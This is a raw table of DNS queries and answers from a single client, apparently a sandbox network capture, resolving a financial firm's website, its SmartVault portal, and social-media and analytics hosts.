Apr 11, 2024 22:35:32.071285963 CEST	192.168.2.4	1.1.1.1	0xc7d4	Standard query (0)	scontent-lga3-1.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:32.071422100 CEST	192.168.2.4	1.1.1.1	0x1e49	Standard query (0)	scontent-lga3-1.xx.fbcdn.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:33.656151056 CEST	192.168.2.4	1.1.1.1	0x76ce	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.656522036 CEST	192.168.2.4	1.1.1.1	0x2d4a	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:33.664889097 CEST	192.168.2.4	1.1.1.1	0x7af2	Standard query (0)	scontent-lga3-2.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.665186882 CEST	192.168.2.4	1.1.1.1	0x757	Standard query (0)	scontent-lga3-2.xx.fbcdn.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:33.667712927 CEST	192.168.2.4	1.1.1.1	0xa51b	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.667862892 CEST	192.168.2.4	1.1.1.1	0xb467	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:33.681133032 CEST	192.168.2.4	1.1.1.1	0x6470	Standard query (0)	scontent-lga3-1.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.681267023 CEST	192.168.2.4	1.1.1.1	0xc0d6	Standard query (0)	scontent-lga3-1.xx.fbcdn.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:33.731390953 CEST	192.168.2.4	1.1.1.1	0x3568	Standard query (0)	static.licdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.731537104 CEST	192.168.2.4	1.1.1.1	0x5ca4	Standard query (0)	static.licdn.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:33.990547895 CEST	192.168.2.4	1.1.1.1	0x444a	Standard query (0)	stun.l.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.990966082 CEST	192.168.2.4	1.1.1.1	0xb8e1	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Apr 11, 2024 22:35:34.037237883 CEST	192.168.2.4	1.1.1.1	0x85ea	Standard query (0)	scontent.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:34.037549973 CEST	192.168.2.4	1.1.1.1	0x6273	Standard query (0)	scontent.xx.fbcdn.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:34.076813936 CEST	192.168.2.4	1.1.1.1	0xbd7c	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Apr 11, 2024 22:35:34.119738102 CEST	192.168.2.4	1.1.1.1	0xf5da	Standard query (0)	platform.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:34.119936943 CEST	192.168.2.4	1.1.1.1	0x1e8c	Standard query (0)	platform.linkedin.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:34.901273012 CEST	192.168.2.4	1.1.1.1	0xfc4b	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:34.901765108 CEST	192.168.2.4	1.1.1.1	0x9087	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:35.687163115 CEST	192.168.2.4	1.1.1.1	0xa74e	Standard query (0)	stun.l.google.com	28	IN (0x0001)	false
Apr 11, 2024 22:35:38.701111078 CEST	192.168.2.4	1.1.1.1	0x597b	Standard query (0)	bfjfinancialgroup.smartvault.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:38.701841116 CEST	192.168.2.4	1.1.1.1	0x5b66	Standard query (0)	bfjfinancialgroup.smartvault.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:39.065104008 CEST	192.168.2.4	1.1.1.1	0x7b71	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:39.065453053 CEST	192.168.2.4	1.1.1.1	0x3541	Standard query (0)	play.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:40.346980095 CEST	192.168.2.4	1.1.1.1	0xd3d3	Standard query (0)	d2lgzuvj5j9n9p.cloudfront.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:40.347135067 CEST	192.168.2.4	1.1.1.1	0xfb1d	Standard query (0)	d2lgzuvj5j9n9p.cloudfront.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:42.537497997 CEST	192.168.2.4	1.1.1.1	0xb05	Standard query (0)	static.ada.support	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:42.538084984 CEST	192.168.2.4	1.1.1.1	0x3dc9	Standard query (0)	static.ada.support	65	IN (0x0001)	false
Apr 11, 2024 22:35:42.957329035 CEST	192.168.2.4	1.1.1.1	0x570e	Standard query (0)	static.hotjar.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:42.957442045 CEST	192.168.2.4	1.1.1.1	0x8d35	Standard query (0)	static.hotjar.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:42.960720062 CEST	192.168.2.4	1.1.1.1	0x4f8f	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:42.960844994 CEST	192.168.2.4	1.1.1.1	0x5d97	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:42.962832928 CEST	192.168.2.4	1.1.1.1	0xe7f7	Standard query (0)	bfjfinancialgroup.smartvault.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:42.963232994 CEST	192.168.2.4	1.1.1.1	0xcb8c	Standard query (0)	bfjfinancialgroup.smartvault.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:42.963968039 CEST	192.168.2.4	1.1.1.1	0x3552	Standard query (0)	cdn.calltrk.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:42.964116096 CEST	192.168.2.4	1.1.1.1	0x402f	Standard query (0)	cdn.calltrk.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:43.556477070 CEST	192.168.2.4	1.1.1.1	0x3866	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.556821108 CEST	192.168.2.4	1.1.1.1	0xfa9c	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:43.574242115 CEST	192.168.2.4	1.1.1.1	0x2bfc	Standard query (0)	static.ada.support	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.574383020 CEST	192.168.2.4	1.1.1.1	0x3a95	Standard query (0)	static.ada.support	65	IN (0x0001)	false
Apr 11, 2024 22:35:43.576045036 CEST	192.168.2.4	1.1.1.1	0x949d	Standard query (0)	js.calltrk.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.576613903 CEST	192.168.2.4	1.1.1.1	0x35df	Standard query (0)	js.calltrk.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:43.629406929 CEST	192.168.2.4	1.1.1.1	0x8625	Standard query (0)	script.hotjar.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.629535913 CEST	192.168.2.4	1.1.1.1	0x52c	Standard query (0)	script.hotjar.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:43.794187069 CEST	192.168.2.4	1.1.1.1	0x4a7c	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.794286966 CEST	192.168.2.4	1.1.1.1	0x7213	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:43.795814991 CEST	192.168.2.4	1.1.1.1	0xc319	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:43.795934916 CEST	192.168.2.4	1.1.1.1	0x7403	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.103768110 CEST	192.168.2.4	1.1.1.1	0x85fd	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.103902102 CEST	192.168.2.4	1.1.1.1	0x45e	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.122744083 CEST	192.168.2.4	1.1.1.1	0x6449	Standard query (0)	js.calltrk.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.123111963 CEST	192.168.2.4	1.1.1.1	0x6fa6	Standard query (0)	js.calltrk.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.163304090 CEST	192.168.2.4	1.1.1.1	0x170e	Standard query (0)	rollout.ada.support	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.163672924 CEST	192.168.2.4	1.1.1.1	0x9bf0	Standard query (0)	rollout.ada.support	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.269922972 CEST	192.168.2.4	1.1.1.1	0xd3da	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.270040035 CEST	192.168.2.4	1.1.1.1	0x845f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.344758034 CEST	192.168.2.4	1.1.1.1	0x180d	Standard query (0)	vc.hotjar.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.344908953 CEST	192.168.2.4	1.1.1.1	0x3900	Standard query (0)	vc.hotjar.io	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.660094976 CEST	192.168.2.4	1.1.1.1	0x3184	Standard query (0)	rollout.ada.support	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.660993099 CEST	192.168.2.4	1.1.1.1	0xddb3	Standard query (0)	rollout.ada.support	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.684247971 CEST	192.168.2.4	1.1.1.1	0x5b0d	Standard query (0)	smartvault.ada.support	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:44.684772015 CEST	192.168.2.4	1.1.1.1	0xfdb1	Standard query (0)	smartvault.ada.support	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.686155081 CEST	192.168.2.4	1.1.1.1	0xe23d	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:44.686155081 CEST	192.168.2.4	1.1.1.1	0x1f13	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:46.254991055 CEST	192.168.2.4	1.1.1.1	0x36b6	Standard query (0)	www.smartvault.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:46.255112886 CEST	192.168.2.4	1.1.1.1	0xb0c3	Standard query (0)	www.smartvault.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:46.726803064 CEST	192.168.2.4	1.1.1.1	0x4fa4	Standard query (0)	www.smartvault.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:46.726803064 CEST	192.168.2.4	1.1.1.1	0xc28	Standard query (0)	www.smartvault.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 11, 2024 22:34:53.154985905 CEST	1.1.1.1	192.168.2.4	0xdb3e	No error (0)	www.bfjfinancial.com	bfjfinancial.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:34:53.162679911 CEST	1.1.1.1	192.168.2.4	0xa4a	No error (0)	www.bfjfinancial.com	bfjfinancial.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:34:53.162679911 CEST	1.1.1.1	192.168.2.4	0xa4a	No error (0)	bfjfinancial.com		151.101.2.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.570519924 CEST	1.1.1.1	192.168.2.4	0xa2a6	No error (0)	www.google.com		142.250.80.36	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.570580006 CEST	1.1.1.1	192.168.2.4	0x15bb	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 22:34:55.573107958 CEST	1.1.1.1	192.168.2.4	0xfc29	No error (0)	www.google.com		142.251.35.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.573124886 CEST	1.1.1.1	192.168.2.4	0x1dfb	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 22:34:55.612365007 CEST	1.1.1.1	192.168.2.4	0xef26	No error (0)	bfjfinancial.com		151.101.2.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.764041901 CEST	1.1.1.1	192.168.2.4	0xf541	No error (0)	www.bfjfinancial.com	bfjfinancial.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:34:55.764041901 CEST	1.1.1.1	192.168.2.4	0xf541	No error (0)	bfjfinancial.com		151.101.2.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.766043901 CEST	1.1.1.1	192.168.2.4	0x2ddc	No error (0)	www.bfjfinancial.com	bfjfinancial.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:34:55.912650108 CEST	1.1.1.1	192.168.2.4	0xd26	No error (0)	www.google.com		142.250.65.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.912940979 CEST	1.1.1.1	192.168.2.4	0x4cbc	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 22:34:57.108210087 CEST	1.1.1.1	192.168.2.4	0x9d2a	No error (0)	welcome.visionaryyouth.org		88.119.175.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:01.371682882 CEST	1.1.1.1	192.168.2.4	0x42b4	No error (0)	maps.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:07.986418962 CEST	1.1.1.1	192.168.2.4	0xd40b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:07.986418962 CEST	1.1.1.1	192.168.2.4	0xd40b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:20.734023094 CEST	1.1.1.1	192.168.2.4	0xfd9f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:20.734023094 CEST	1.1.1.1	192.168.2.4	0xfd9f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:20.851855993 CEST	1.1.1.1	192.168.2.4	0x8ad6	No error (0)	brokercheck.finra.org	brokercheck.finra.org.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:20.852627039 CEST	1.1.1.1	192.168.2.4	0x8ead	No error (0)	brokercheck.finra.org	brokercheck.finra.org.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:21.589867115 CEST	1.1.1.1	192.168.2.4	0x8a4f	No error (0)	4eb97633b8b43872.cbridgert.vhtcloud.com	scheduler-rt.scheduler-router-comprod.getmindful.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:21.597127914 CEST	1.1.1.1	192.168.2.4	0x3a23	No error (0)	static.support.finra.org	static.support.finra.org.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:21.599112034 CEST	1.1.1.1	192.168.2.4	0x7f17	No error (0)	static.support.finra.org	static.support.finra.org.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:21.653712034 CEST	1.1.1.1	192.168.2.4	0x6ba8	No error (0)	4eb97633b8b43872.cbridgert.vhtcloud.com	scheduler-rt.scheduler-router-comprod.getmindful.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:21.653712034 CEST	1.1.1.1	192.168.2.4	0x6ba8	No error (0)	scheduler-rt.scheduler-router-comprod.getmindful.com		18.238.49.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:21.653712034 CEST	1.1.1.1	192.168.2.4	0x6ba8	No error (0)	scheduler-rt.scheduler-router-comprod.getmindful.com		18.238.49.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:21.653712034 CEST	1.1.1.1	192.168.2.4	0x6ba8	No error (0)	scheduler-rt.scheduler-router-comprod.getmindful.com		18.238.49.53	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:21.653712034 CEST	1.1.1.1	192.168.2.4	0x6ba8	No error (0)	scheduler-rt.scheduler-router-comprod.getmindful.com		18.238.49.47	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:23.040668964 CEST	1.1.1.1	192.168.2.4	0xb167	No error (0)	stats.g.doubleclick.net		172.253.63.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:23.040668964 CEST	1.1.1.1	192.168.2.4	0xb167	No error (0)	stats.g.doubleclick.net		172.253.63.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:23.159137964 CEST	1.1.1.1	192.168.2.4	0xe1cc	No error (0)	brokercheck.finra.org	brokercheck.finra.org.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:23.161906958 CEST	1.1.1.1	192.168.2.4	0x8cff	No error (0)	brokercheck.finra.org	brokercheck.finra.org.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:23.511945009 CEST	1.1.1.1	192.168.2.4	0xc323	No error (0)	www.google.com		142.251.40.196	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:23.512047052 CEST	1.1.1.1	192.168.2.4	0x8d90	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 22:35:23.512659073 CEST	1.1.1.1	192.168.2.4	0x8dbd	No error (0)	stats.g.doubleclick.net		142.251.163.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:23.512659073 CEST	1.1.1.1	192.168.2.4	0x8dbd	No error (0)	stats.g.doubleclick.net		142.251.163.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:24.092302084 CEST	1.1.1.1	192.168.2.4	0xcbd6	No error (0)	www.google.com		142.250.72.100	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:24.092322111 CEST	1.1.1.1	192.168.2.4	0xe625	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 11, 2024 22:35:27.141189098 CEST	1.1.1.1	192.168.2.4	0xa80e	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:27.141710997 CEST	1.1.1.1	192.168.2.4	0x24a5	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:28.063803911 CEST	1.1.1.1	192.168.2.4	0xcffb	No error (0)	static.licdn.com	2-01-2c3e-003d.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:28.063803911 CEST	1.1.1.1	192.168.2.4	0xcffb	No error (0)	cs1404.wpc.epsiloncdn.net		152.199.24.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:28.065112114 CEST	1.1.1.1	192.168.2.4	0x3a37	No error (0)	static.licdn.com	2-01-2c3e-003d.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:28.580771923 CEST	1.1.1.1	192.168.2.4	0x69a	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:28.580771923 CEST	1.1.1.1	192.168.2.4	0x69a	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:28.582943916 CEST	1.1.1.1	192.168.2.4	0x9c91	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:29.710453033 CEST	1.1.1.1	192.168.2.4	0x5697	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:29.710453033 CEST	1.1.1.1	192.168.2.4	0x5697	No error (0)	scontent.xx.fbcdn.net		157.240.241.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:29.710897923 CEST	1.1.1.1	192.168.2.4	0x3238	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:29.731717110 CEST	1.1.1.1	192.168.2.4	0xc278	No error (0)	scontent.xx.fbcdn.net		157.240.241.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:29.735779047 CEST	1.1.1.1	192.168.2.4	0x8de1	No error (0)	video.xx.fbcdn.net		157.240.241.2	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:32.154776096 CEST	1.1.1.1	192.168.2.4	0xbd72	No error (0)	scontent-lga3-2.xx.fbcdn.net		157.240.241.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:32.155565977 CEST	1.1.1.1	192.168.2.4	0xc7d4	No error (0)	scontent-lga3-1.xx.fbcdn.net		31.13.71.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.739572048 CEST	1.1.1.1	192.168.2.4	0x76ce	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:33.739572048 CEST	1.1.1.1	192.168.2.4	0x76ce	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.739830971 CEST	1.1.1.1	192.168.2.4	0x2d4a	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:33.748720884 CEST	1.1.1.1	192.168.2.4	0x7af2	No error (0)	scontent-lga3-2.xx.fbcdn.net		157.240.241.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.751082897 CEST	1.1.1.1	192.168.2.4	0xb467	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:33.751383066 CEST	1.1.1.1	192.168.2.4	0xa51b	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:33.751383066 CEST	1.1.1.1	192.168.2.4	0xa51b	No error (0)	scontent.xx.fbcdn.net		157.240.241.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.764305115 CEST	1.1.1.1	192.168.2.4	0x6470	No error (0)	scontent-lga3-1.xx.fbcdn.net		31.13.71.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.814781904 CEST	1.1.1.1	192.168.2.4	0x3568	No error (0)	static.licdn.com	2-01-2c3e-003d.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:33.814781904 CEST	1.1.1.1	192.168.2.4	0x3568	No error (0)	cs1404.wpc.epsiloncdn.net		152.199.24.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:33.815597057 CEST	1.1.1.1	192.168.2.4	0x5ca4	No error (0)	static.licdn.com	2-01-2c3e-003d.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:34.074326038 CEST	1.1.1.1	192.168.2.4	0x444a	No error (0)	stun.l.google.com	stun-anycast.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:34.074326038 CEST	1.1.1.1	192.168.2.4	0x444a	No error (0)	stun-anycast.l.google.com		74.125.250.129	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:34.074990988 CEST	1.1.1.1	192.168.2.4	0xb8e1	No error (0)	stun.l.google.com			28	IN (0x0001)	false
Apr 11, 2024 22:35:34.121901989 CEST	1.1.1.1	192.168.2.4	0x85ea	No error (0)	scontent.xx.fbcdn.net		31.13.71.7	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:34.163691044 CEST	1.1.1.1	192.168.2.4	0xbd7c	No error (0)	stun.l.google.com			28	IN (0x0001)	false
Apr 11, 2024 22:35:34.203731060 CEST	1.1.1.1	192.168.2.4	0xf5da	No error (0)	platform.linkedin.com	2-01-2c3e-0055.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:34.203731060 CEST	1.1.1.1	192.168.2.4	0xf5da	No error (0)	cs767.wpc.epsiloncdn.net		152.199.5.152	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:34.204153061 CEST	1.1.1.1	192.168.2.4	0x1e8c	No error (0)	platform.linkedin.com	2-01-2c3e-0055.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:34.984898090 CEST	1.1.1.1	192.168.2.4	0xfc4b	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:34.985598087 CEST	1.1.1.1	192.168.2.4	0x9087	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:35.769650936 CEST	1.1.1.1	192.168.2.4	0x83f2	No error (0)	mouselog-apg5aud0bag4avgx.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:35.771317959 CEST	1.1.1.1	192.168.2.4	0xa74e	No error (0)	stun.l.google.com	stun-anycast.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:35.771317959 CEST	1.1.1.1	192.168.2.4	0xa74e	No error (0)	stun-anycast.l.google.com			28	IN (0x0001)	false
Apr 11, 2024 22:35:35.771457911 CEST	1.1.1.1	192.168.2.4	0xb3cf	No error (0)	mouselog-apg5aud0bag4avgx.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:35.771457911 CEST	1.1.1.1	192.168.2.4	0xb3cf	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:35.771457911 CEST	1.1.1.1	192.168.2.4	0xb3cf	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:35.771457911 CEST	1.1.1.1	192.168.2.4	0xb3cf	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:37.744254112 CEST	1.1.1.1	192.168.2.4	0x94f9	No error (0)	mouselog-apg5aud0bag4avgx.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:37.744254112 CEST	1.1.1.1	192.168.2.4	0x94f9	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:37.744254112 CEST	1.1.1.1	192.168.2.4	0x94f9	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:37.744254112 CEST	1.1.1.1	192.168.2.4	0x94f9	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:37.744266987 CEST	1.1.1.1	192.168.2.4	0xe636	No error (0)	mouselog-apg5aud0bag4avgx.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 22:35:38.792455912 CEST	1.1.1.1	192.168.2.4	0x597b	No error (0)	bfjfinancialgroup.smartvault.com		13.59.104.88	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:38.792455912 CEST	1.1.1.1	192.168.2.4	0x597b	No error (0)	bfjfinancialgroup.smartvault.com		3.20.187.220	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:39.150871992 CEST	1.1.1.1	192.168.2.4	0x7b71	No error (0)	play.google.com		142.250.80.14	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:40.449278116 CEST	1.1.1.1	192.168.2.4	0xd3d3	No error (0)	d2lgzuvj5j9n9p.cloudfront.net		108.138.113.78	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:40.449278116 CEST	1.1.1.1	192.168.2.4	0xd3d3	No error (0)	d2lgzuvj5j9n9p.cloudfront.net		108.138.113.213	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:40.449278116 CEST	1.1.1.1	192.168.2.4	0xd3d3	No error (0)	d2lgzuvj5j9n9p.cloudfront.net		108.138.113.30	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:40.449278116 CEST	1.1.1.1	192.168.2.4	0xd3d3	No error (0)	d2lgzuvj5j9n9p.cloudfront.net		108.138.113.48	A (IP address)	IN (0x0001)	false
